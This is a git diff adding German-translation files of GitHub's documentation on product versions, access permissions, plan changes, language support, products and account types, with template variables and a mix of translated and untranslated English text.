+In einem breiten Browserfenster folgt kein Text unmittelbar auf das {% data variables.product.company_short %}-Logo auf der linken Seite der Kopfzeile.
+
+![Screenshot der Adressleiste und der {% data variables.product.prodname_dotcom_the_website %}-Kopfzeile in einem Browser](/assets/images/help/docs/header-dotcom.png)
+
+Auf {% data variables.product.prodname_dotcom_the_website %} verfügt jedes Konto über einen eigenen Plan. Jedes persönliche Konto verfügt über einen zugeordneten Plan, der Zugriff auf bestimmte Features bietet, und jede Organisation verfügt über einen anderen zugeordneten Plan. Wenn dein persönliches Konto Mitglied einer Organisation auf {% data variables.product.prodname_dotcom_the_website %} ist, hast du bei der Verwendung von Ressourcen, die dieser Organisation gehören, möglicherweise Zugriff auf andere Funktionen als bei der Verwendung von Ressourcen, die deinem persönlichen Konto gehören. Weitere Informationen findest du unter [Typen von {% data variables.product.prodname_dotcom %}-Konten](/get-started/learning-about-github/types-of-github-accounts).
+
+Wenn du nicht weißt, ob eine Organisation {% data variables.product.prodname_ghe_cloud %} verwendet, frag einen Organisationsbesitzer. Weitere Informationen findest du unter [Anzeigen der Rollen von Personen in einer Organisation](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/viewing-peoples-roles-in-an-organization).
+
+### {% data variables.product.prodname_ghe_server %}
+
+Wenn du unter einer anderen URL als https://github.com, `https://*.githubenterprise.com`, `https://*.github.us` oder `https://*.ghe.com` auf {% data variables.product.prodname_dotcom %} zugreifst, verwendest du {% data variables.product.prodname_ghe_server %}. Du kannst z. B. unter `https://github.YOUR-COMPANY-NAME.com` auf {% data variables.product.prodname_ghe_server %} zugreifen. Deine Administratoren können eine URL auswählen, die das Wort {% data variables.product.company_short %} nicht enthält.
+
+In einem breiten Browserfenster folgt das Wort „Enterprise“ unmittelbar auf das {% data variables.product.company_short %}-Logo auf der linken Seite der Kopfzeile.
+
+![Screenshot der Adressleiste und {% data variables.product.prodname_ghe_server %}-Kopfzeile in einem Browser](/assets/images/help/docs/header-ghes.png)
+
+Du kannst die Version von {% data variables.product.prodname_ghe_server %}, die du verwendest, in der Fußzeile einer beliebigen Seite anzeigen.
+
+![Screenshot der Fußzeile von {% data variables.product.prodname_ghe_server %}, wobei die Version hervorgehoben ist](/assets/images/help/docs/ghes-version-in-footer.png)
+
+### {% data variables.product.prodname_ghe_managed %}
+
+Wenn du unter `https://*.githubenterprise.com`, `https://*.github.us` oder `https://*.ghe.com` auf {% data variables.product.prodname_dotcom %} zugreifst, verwendest du {% data variables.product.prodname_ghe_managed %}.
+
+In einem breiten Browserfenster folgen die Wörter „{% data variables.product.prodname_ghe_managed %}“ sofort auf das {% data variables.product.company_short %}-Logo in der Kopfzeile.
+
+![Adressleiste und {% data variables.product.prodname_ghe_managed %}-Kopfzeile in einem Browser](/assets/images/help/docs/header-ghae.png)
diff --git a/translations/de-DE/content/get-started/learning-about-github/access-permissions-on-github.md b/translations/de-DE/content/get-started/learning-about-github/access-permissions-on-github.md
new file mode 100644
index 0000000000..8967160362
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/access-permissions-on-github.md
@@ -0,0 +1,56 @@
+---
+title: Access permissions on GitHub
+redirect_from:
+  - /articles/needs-to-be-written-what-can-the-different-types-of-org-team-permissions-do
+  - /articles/what-are-the-different-types-of-team-permissions
+  - /articles/what-are-the-different-access-permissions
+  - /articles/access-permissions-on-github
+  - /github/getting-started-with-github/access-permissions-on-github
+  - /github/getting-started-with-github/learning-about-github/access-permissions-on-github
+intro: 'With roles, you can control who has access to your accounts and resources on {% data variables.product.product_name %} and the level of access each person has.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Permissions
+  - Accounts
+shortTitle: Access permissions
+---
+
+## About access permissions on {% data variables.product.prodname_dotcom %}
+
+{% data reusables.organizations.about-roles %} 
+
+Roles work differently for different types of accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+
+## Personal accounts
+
+A repository owned by a personal account has two permission levels: the *repository owner* and *collaborators*. For more information, see "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository)."
+
+## Organization accounts
+
+Organization members can have *owner*{% ifversion fpt or ghec %}, *billing manager*,{% endif %} or *member* roles. Owners have complete administrative access to your organization{% ifversion fpt or ghec %}, while billing managers can manage billing settings{% endif %}. Member is the default role for everyone else. You can manage access permissions for multiple members at a time with teams. For more information, see:
+- "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)"
+- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[About teams](/articles/about-teams)"
+
+## Enterprise accounts
+
+{% ifversion fpt %}
+{% data reusables.gated-features.enterprise-accounts %} 
+
+For more information about permissions for enterprise accounts, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/get-started/learning-about-github/access-permissions-on-github).
+{% else %}
+*Enterprise owners* have ultimate power over the enterprise account and can take every action in the enterprise account.{% ifversion ghec or ghes %} *Billing managers* can manage your enterprise account's billing settings.{% endif %} Members and outside collaborators of organizations owned by your enterprise account are automatically members of the enterprise account, although they have no access to the enterprise account itself or its settings. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
+
+{% ifversion ghec %}
+If an enterprise uses {% data variables.product.prodname_emus %}, members are provisioned as new personal accounts on {% data variables.product.prodname_dotcom %} and are fully managed by the identity provider. The {% data variables.enterprise.prodname_managed_users %} have read-only access to repositories that are not a part of their enterprise and cannot interact with users that are not also members of the enterprise. Within the organizations owned by the enterprise, the {% data variables.enterprise.prodname_managed_users %} can be granted the same granular access levels available for regular organizations. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+{% endif %}
+{% endif %}
+
+## Further reading
+
+- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
diff --git a/translations/de-DE/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md b/translations/de-DE/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md
new file mode 100644
index 0000000000..367673a9d7
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/faq-about-changes-to-githubs-plans.md
@@ -0,0 +1,102 @@
+---
+title: Häufig gestellte Fragen zu Änderungen an den GitHub-Plänen
+intro: 'GitHub hat angekündigt, dass ab dem 14. April 2020 alle GitHub-Kernfunktionen kostenlos verfügbar sind.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - GitHub
+redirect_from:
+  - /github/getting-started-with-github/faq-about-changes-to-githubs-plans
+  - /github/getting-started-with-github/learning-about-github/faq-about-changes-to-githubs-plans
+shortTitle: Changes to GitHub plans
+ms.openlocfilehash: 9f69f049edb67f9079944189eab0a16f7f10cd91
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147431912'
+---
+## Welche Pläne und Preisänderungen hat GitHub am 14. April angekündigt?
+
+GitHub kündigte die folgenden Pläne und Preisänderungen an:
+
+- GitHub Free für Organisationen ist sofort verfügbar und beinhaltet private Repositorys für eine unbegrenzte Anzahl von Benutzern
+- Alle Organisationen, die bisher Team für Open-Source nutzten, haben jetzt GitHub Free
+- GitHub Free für einzelne Entwickler beinhaltet jetzt eine unbegrenzte Anzahl Mitarbeiter
+- Organisationen und Einzelpersonen, die GitHub Free nutzen, erhalten Unterstützung aus der GitHub Community
+- GitHub Pro enthält jetzt 2 GB Paketspeicher und 10 GB Datenübertragung
+- GitHub Pro hat jetzt einen reduzierten monatlichen Preis von 4 $
+- GitHub Team hat jetzt einen reduzierten monatlichen Preis von $4 pro Benutzer
+- GitHub Team verlangt kein Fünf-Platz-Minimum mehr
+- GitHub Team beinhaltet 3.000 Aktionsminuten pro Monat für private Repositorys
+
+## Wie kann ich meinen Plan heraufstufen?
+
+Informationen zum Hochstufen des Plans deines persönlichen Kontos findest du unter [Hochstufen des Abonnements deines persönlichen Kontos](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-personal-accounts-subscription). Informationen zum Hochstufen des Plans deiner Organisation findest du unter [Hochstufen des Abonnements deiner Organisation](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription).
+
+## Wie kann ich meinen Plan herunterstufen?
+
+Informationen zum Herabstufen des Plans deines persönlichen Kontos findest du unter [Herabstufen des Abonnements deines persönlichen Kontos](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#downgrading-your-personal-accounts-subscription). Informationen zum Herabstufen des Plans deiner Organisation findest du unter [Herabstufen des Abonnements deiner Organisation](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#downgrading-your-organizations-subscription).
+
+## Wenn ich vom GitHub Team oder einem älteren Plan zu GitHub Free herunterstufe, welche Funktionen werde ich verlieren?
+- Erforderliche Reviewer in privaten Repositories
+- Geschützte Branches in privaten Repositories
+- Codeinhaber in privaten Repositories
+- GitHub Pages in privaten Repositorys
+- Wikis in privaten Repositories
+- Mehrfache Bearbeiter für Issues und Pull-Requests in privaten Repositories
+- Mehrfache Pull-Request-Reviewer in privaten Repositories
+- Pull-Request-Entwürfe in privaten Repositorys
+- Automatisch verknüpfte Verweise in privaten Repositorys
+- Standard-Support
+
+## Wie kann ich eine GitHub Free- oder GitHub Team-Organisation erstellen?
+
+Wenn du über ein GitHub-Konto verfügst, erstellst du eine neue Organisation auf der [Teamplan-Seite](https://github.com/organizations/plan). Wenn du kein GitHub-Konto hast, kannst du [ein Konto über unsere Homepage erstellen](https://github.com/). Du wirst dann während des Registrierungsprozesses aufgefordert, eine Organisation zu erstellen.
+
+## Wie kann ich die Funktionen zwischen den Plänen vergleichen?
+
+Die Preise und eine vollständige Liste der Funktionen für jedes Produkt findest du unter {% data variables.product.pricing_url %}.
+
+## Wie lange wird GitHub Free eine unbegrenzte Anzahl Mitarbeiter zulassen?
+
+Für immer! Diese Änderung ist permanent.
+
+## Ich habe bereits für den jährlichen Pro- oder Team-Plan bezahlt, erhalte ich jetzt eine Rückerstattung für die Preisdifferenz?
+
+Kunden, die derzeit für jährliche Pro- und Team-Pläne bezahlen und sich vor dem 14. April angemeldet haben, erhalten eine Rückerstattung für einen anteiligen Betrag bis zum Ende ihrer jährlichen Abrechnungsdauer. Wenn beispielsweise dein jährlich abgerechnetes Abonnement bereits zwei Monate läuft, erhältst du eine Rückerstattung für die Preisdifferenz für die restlichen zehn Monate. Diese Rückerstattungen werden in ca. 30 Tagen bearbeitet. Sobald deine Rückerstattung verarbeitet wurde, wird eine Benachrichtigung an die Abrechnungs-E-Mail-Adresse gesendet.
+
+## Was ist der Unterschied zwischen GitHub Free für einzelne Entwickler und GitHub Free für Organisationen?
+
+Weitere Informationen zu den Unterschieden zwischen den GitHub Free-Produkten findest du unter [Produkte von {% data variables.product.prodname_dotcom %}](/articles/github-s-products).
+
+## Wie erhalte ich mehr Aktionsminuten, wenn ich mehr benötige als im GitHub-Teamplan zugewiesen?
+
+Die meisten kleinen Teams verwenden weniger als 3.000 Aktionsminuten pro Monat, aber einige Teams könnten mehr verwenden. Wenn dein Team zusätzliche Minuten für private Repositories benötigt, kannst du deine Ausgabengrenze für GitHub Actions erhöhen. Aktionsminuten und Paketspeicher sind für dein öffentliches Repository weiterhin kostenlos. Weitere Informationen findest du unter [Verwalten deines Ausgabenlimits für GitHub Actions](/billing/managing-billing-for-github-actions/managing-your-spending-limit-for-github-actions).
+
+## Wie beeinflussen mich die Änderungen der Sitzplatzlimiten?
+
+{% data variables.product.prodname_team %} hat keine Mindestplatzanforderung mehr. Wenn du also weniger als fünf Arbeitsplätze in deiner Organisation benötigst, kannst du bezahlte Plätze entfernen, um deine Rechnung zu reduzieren. Weitere Informationen findest du unter [Herabstufen deines {% data variables.product.prodname_dotcom %}-Abonnements](/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription#removing-paid-seats-from-your-organization).
+
+## Ändert sich etwas für Teams im 'GitHub Team for Open Source'-Plan?
+
+Wenn dein Organisationskonto derzeit den „GitHub Team for Open Source“-Plan verwendet, wurdest du automatisch nach GitHub Free verschoben, was private Repositorys mit unbegrenzter Anzahl von Mitarbeiter*innen, 2.000 Aktionsminuten für private Repositorys und GitHub Community-Support beinhaltet. Aktionsminuten und Paketspeicher sind für dein öffentliches Repository weiterhin kostenlos.
+
+## Was ist GitHub Community-Support?
+
+GitHub Community-Support umfasst Unterstützung durch unser [{% data variables.product.prodname_github_community %}-Forum](https://github.com/orgs/community/discussions), wo du nach Lösungen der GitHub Community suchen, neue Fragen stellen und Ideen teilen kannst. Der GitHub Community-Support wird von Supporttechnikern des GitHub-Teams betreut, die das {% data variables.product.prodname_github_community %}-Forum zusammen mit unseren aktivsten Community-Mitgliedern moderieren. Wenn du Spam oder Missbrauch melden möchtest oder Probleme mit dem Kontozugriff hast, kannst du unter https://support.github.com/ eine Nachricht an unser Supportteam senden.
+
+## Wie wirkt sich diese Änderung auf die Leistungen für den Bildungsbereich aus?
+
+Studenten und Lehrer erhalten weiterhin alle Vorteile, die sie heute erhalten. GitHub bietet GitHub Pro weiterhin im Rahmen der Vorteile des [Student Developer Pack](https://education.github.com/pack) für alle Kursteilnehmenden an. Darüber hinaus haben Lehrkräfte weiterhin Zugriff auf GitHub Team als Teil der [Teacher Toolbox](https://education.github.com/toolbox).
+
+## Wie wirkt sich dies auf mich aus, wenn ich derzeit per Rechnung zahle?
+
+Wenn du derzeit mit Rechnung bezahlst, sende eine E-Mail an deine*n Kundenbetreuer*in, um zusätzliche Informationen zu erhalten. Wenn du nicht sicher bist, wer dein*e Kundenbetreuer*in ist, wende dich an deine*n Abrechnungsmanager*in oder Kontobesitzer*in.
+
+## Wie wird sich dies auf Nutzer und Organisationen in Regionen auswirken, in denen die US-Regierung Sanktionen verhängt?
+
+Aufgrund der Restriktionen unter dem amerikanischen Handelskontrollgesetz kann GitHub keine Dienstleistungen für private Repositorys oder bezahlte Dienstleistungen für Konten in von den USA sanktionierten Regionen anbieten. GitHub hat jedoch den Zugriff auf kostenlose öffentliche Repository-Dienstleistungen beibehalten. Weitere Informationen findest du unter [GitHub und Handelskontrollen](/free-pro-team@latest/github/site-policy/github-and-trade-controls).
+
+GitHub wird sich weiterhin bei den US-Regulierungsbehörden für den größtmöglichen Zugang zu kostenlosen Code-Zusammenarbeitsdienste für Entwickler in sanktionierten Regionen einsetzen, einschließlich kostenloser privater Repositorys. Wir glauben, dass das Angebot dieser kostenlosen Dienste die US-Außenpolitik zur Förderung des freien Informationsflusses und der freien Meinungsäußerung in diesen Regionen unterstützt.
diff --git a/translations/de-DE/content/get-started/learning-about-github/github-language-support.md b/translations/de-DE/content/get-started/learning-about-github/github-language-support.md
new file mode 100644
index 0000000000..3aa6bc8d71
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/github-language-support.md
@@ -0,0 +1,37 @@
+---
+title: GitHub-Sprachunterstützung
+intro: 'Eine Übersicht über die von {% data variables.product.prodname_dotcom %}-Features unterstützten Programmiersprachen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub
+redirect_from:
+  - /github/getting-started-with-github/github-language-support
+  - /github/getting-started-with-github/learning-about-github/github-language-support
+ms.openlocfilehash: df266f4f5bbc9d22292bd1bde1d0b5e869761b71
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147431904'
+---
+<!-- If you make changes to this article, also update any feature-level articles to reflect the same changes in language support. -->
+
+## Informationen zu unterstützten Sprachen
+
+Die meisten {% data variables.product.prodname_dotcom %}-Features funktionieren unabhängig von der Sprache, in der der Code geschrieben wurde. Du kannst nach Code suchen oder die Syntaxmarkierung basierend auf einer beliebigen Sprache aktivieren, die von {% data variables.product.prodname_dotcom %} unterstützt wird. Weitere Informationen findest du unter „[Code durchsuchen](/github/searching-for-information-on-github/searching-code#search-by-language)“ oder „[Codeblöcke erstellen und markieren](/github/writing-on-github/creating-and-highlighting-code-blocks#syntax-highlighting)“.
+
+Einige {% data variables.product.prodname_dotcom %}-Produkte verfügen über Features, die derzeit nur von einer Teilmenge von Programmiersprachen unterstützt werden.
+
+## Kernsprachen, die von {% data variables.product.prodname_dotcom %}-Features unterstützt werden
+
+Kernsprachen für {% data variables.product.prodname_dotcom %}-Features umfassen C, C++, C#, Go, Java, JavaScript, PHP, Python, Ruby, Scala und TypeScript. Bei Features, die Paket-Manager unterstützen, sind die aktuell unterstützten Paket-Manager in der Tabelle mit ihren relevanten Sprachen aufgeführt.
+
+Einige Features werden für zusätzliche Sprachen oder Paket-Manager unterstützt. Wenn du wissen möchtest, ob eine andere Sprache für ein Feature unterstützt wird, oder um Support für eine Sprache anzufordern, besuche das [{% data variables.product.prodname_github_community %}-Forum](https://github.com/orgs/community/discussions).
+
+| Sprache {% data reusables.supported-languages.products-table-header %} {% data reusables.supported-languages.C %} {% data reusables.supported-languages.Cpp %} {% data reusables.supported-languages.Cs %} {% data reusables.supported-languages.go %} {% data reusables.supported-languages.java %} {% data reusables.supported-languages.javascript %} {% data reusables.supported-languages.php %} {% data reusables.supported-languages.python %} {% data reusables.supported-languages.ruby %} {% data reusables.supported-languages.scala %} {% data reusables.supported-languages.typescript %}
+
+[1] Diese Sprachen werden für {% data variables.product.prodname_code_scanning %} durch Drittanbieteraktionen unterstützt.
diff --git a/translations/de-DE/content/get-started/learning-about-github/githubs-products.md b/translations/de-DE/content/get-started/learning-about-github/githubs-products.md
new file mode 100644
index 0000000000..6951b466f4
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/githubs-products.md
@@ -0,0 +1,126 @@
+---
+title: GitHub’s products
+intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.'
+redirect_from:
+  - /articles/github-s-products
+  - /articles/githubs-products
+  - /github/getting-started-with-github/githubs-products
+  - /github/getting-started-with-github/learning-about-github/githubs-products
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - CLI
+  - Mobile
+  - Desktop
+  - Security
+---
+## About {% data variables.product.prodname_dotcom %}'s products
+
+{% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to personal accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
+
+You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+
+When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
+
+## {% data variables.product.prodname_free_user %} for personal accounts
+
+With {% data variables.product.prodname_free_team %} for personal accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set.
+
+With {% data variables.product.prodname_free_user %}, your personal account includes:
+- {% data variables.product.prodname_gcf %}
+- {% data variables.product.prodname_dependabot_alerts %}
+- Two-factor authentication enforcement
+- 2,000 {% data variables.product.prodname_actions %} minutes per month 
+- 500 MB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%}
+- 120 {% data variables.product.prodname_github_codespaces %} core hours per month
+- 15 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %}
+
+## {% data variables.product.prodname_pro %}
+
+In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_pro %} includes:
+- {% data variables.contact.github_support %} via email
+- 3,000 {% data variables.product.prodname_actions %} minutes per month 
+- 2 GB {% data variables.product.prodname_registry %} storage {% ifversion fpt or ghec%}
+- 180 {% data variables.product.prodname_github_codespaces %} core hours per month
+- 20 GB {% data variables.product.prodname_github_codespaces %} storage per month {% endif %}
+- Advanced tools and insights in private repositories:
+  - Required pull request reviewers
+  - Multiple pull request reviewers
+  - Protected branches
+  - Code owners
+  - Auto-linked references
+  - {% data variables.product.prodname_pages %}
+  - Wikis
+  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
+
+## {% data variables.product.prodname_free_team %} for organizations
+
+With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set.
+
+In addition to the features available with {% data variables.product.prodname_free_user %} for personal accounts, {% data variables.product.prodname_free_team %} for organizations includes:
+- {% data variables.product.prodname_gcf %}
+- Team discussions
+- Team access controls for managing groups
+- 2,000 {% data variables.product.prodname_actions %} minutes per month 
+- 500 MB {% data variables.product.prodname_registry %} storage 
+
+## {% data variables.product.prodname_team %}
+
+In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes:
+- {% data variables.contact.github_support %} via email
+- 3,000 {% data variables.product.prodname_actions %} minutes per month 
+- 2 GB {% data variables.product.prodname_registry %} storage 
+- Advanced tools and insights in private repositories:
+  - Required pull request reviewers
+  - Multiple pull request reviewers
+  - Draft pull requests
+  - Team pull request reviewers
+  - Protected branches
+  - Code owners
+  - Scheduled reminders
+  - {% data variables.product.prodname_pages %}
+  - Wikis
+  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
+{%- ifversion fpt or ghec %}
+- The option to enable {% data variables.product.prodname_github_codespaces %}
+  - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization)."
+{%- endif %}
+
+{% data variables.product.company_short %} bills for {% data variables.product.prodname_team %} on a per-user basis. For more information, see "[About per-user pricing]({% ifversion not fpt %}/free-pro-team@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing){% ifversion fpt %}."{% else %}" in the Free, Pro, & Team documentation.{% endif %}
+
+{% data reusables.actions.actions-billing %}
+
+## {% data variables.product.prodname_enterprise %}
+
+{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted. 
+
+In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes:
+- {% data variables.contact.enterprise_support %}
+- Additional security, compliance, and deployment controls
+- Authentication with SAML single sign-on
+- Access provisioning with SAML or SCIM
+- {% data variables.product.prodname_github_connect %}
+- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+
+{% data variables.product.prodname_ghe_cloud %} also includes:
+- {% data variables.contact.enterprise_support %}. For more information, see "<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} support</a>" and "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Addendum</a>."
+- 50,000 {% data variables.product.prodname_actions %} minutes per month 
+- 50 GB {% data variables.product.prodname_registry %} storage 
+- Access control for {% data variables.product.prodname_pages %} sites. For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/enterprise-cloud@latest/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)."
+- A service level agreement for 99.9% monthly uptime
+- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+
+{% data reusables.enterprise.about-github-for-enterprises %}
+
+You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/articles/setting-up-a-trial-of-github-enterprise-cloud)."
+
+For more information about hosting your own instance of {% data variables.product.prodname_ghe_server %}, including setting up a trial, see "[About {% data variables.product.prodname_ghe_server %}](/enterprise-server/admin/overview/about-github-enterprise-server)."
+
+## Further reading
+
+- "[About per-user pricing]({% ifversion not ghec %}/enterprise-cloud@latest{% endif %}/billing/managing-billing-for-your-github-account/about-per-user-pricing)"{% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
diff --git a/translations/de-DE/content/get-started/learning-about-github/index.md b/translations/de-DE/content/get-started/learning-about-github/index.md
new file mode 100644
index 0000000000..914c0adada
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/index.md
@@ -0,0 +1,33 @@
+---
+title: Informationen zu GitHub
+intro: 'Erfahre, wie du {% data variables.product.company_short %}-Produkte verwenden kannst, um deinen Softwareverwaltungsprozess zu verbessern und mit anderen Personen zusammenzuarbeiten.'
+redirect_from:
+  - /articles/learning-about-github
+  - /github/getting-started-with-github/learning-about-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - CLI
+  - Mobile
+  - Desktop
+  - Security
+children:
+  - /githubs-products
+  - /about-versions-of-github-docs
+  - /github-language-support
+  - /types-of-github-accounts
+  - /access-permissions-on-github
+  - /about-github-advanced-security
+  - /faq-about-changes-to-githubs-plans
+ms.openlocfilehash: bc22d744123d54dd38e491a0b5f938150feb0518
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131185'
+---
+
diff --git a/translations/de-DE/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/de-DE/content/get-started/learning-about-github/types-of-github-accounts.md
new file mode 100644
index 0000000000..70b4afd8f5
--- /dev/null
+++ b/translations/de-DE/content/get-started/learning-about-github/types-of-github-accounts.md
@@ -0,0 +1,89 @@
+---
+title: Types of GitHub accounts
+intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.'
+redirect_from:
+  - /manage-multiple-clients
+  - /managing-clients
+  - /articles/what-s-the-difference-between-user-and-organization-accounts
+  - /articles/differences-between-user-and-organization-accounts
+  - /articles/types-of-github-accounts
+  - /github/getting-started-with-github/types-of-github-accounts
+  - /github/getting-started-with-github/learning-about-github/types-of-github-accounts
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - CLI
+  - Mobile
+  - Desktop
+  - Security
+---
+
+## About accounts on {% data variables.product.product_name %}
+
+With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}.
+- Personal accounts
+- Organization accounts
+- Enterprise accounts
+
+Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.location.product_location %}{% endif %} allows central management of multiple organizations.
+
+## Personal accounts
+
+Every person who uses {% data variables.location.product_location %} signs into a personal account. Your personal account is your identity on {% data variables.location.product_location %} and has a username and profile. For example, see [@octocat's profile](https://github.com/octocat).
+
+Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.location.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account.
+
+{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
+
+{% tip %}
+
+**Tip**: Personal accounts are intended for humans, but you can create accounts to automate activity on {% data variables.product.product_name %}. This type of account is called a machine user. For example, you can create a machine user account to automate continuous integration (CI) workflows.
+
+{% endtip %}
+
+{% ifversion fpt or ghec %}
+Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple personal accounts](/articles/merging-multiple-user-accounts)."
+{% endif %}
+
+## Organization accounts
+
+Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. 
+
+Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations.
+
+The personal accounts within an organization can be given different roles in the organization, which grant different levels of access to the organization and its data. All members can collaborate with each other in repositories and projects, but only organization owners and security managers can manage the settings for the organization and control access to the organization's data with sophisticated security and administrative features. For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)" and "[Keeping your organization secure](/organizations/keeping-your-organization-secure)."
+
+![Diagram showing that users must sign in to their personal account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png)
+
+{% ifversion fpt or ghec %} 
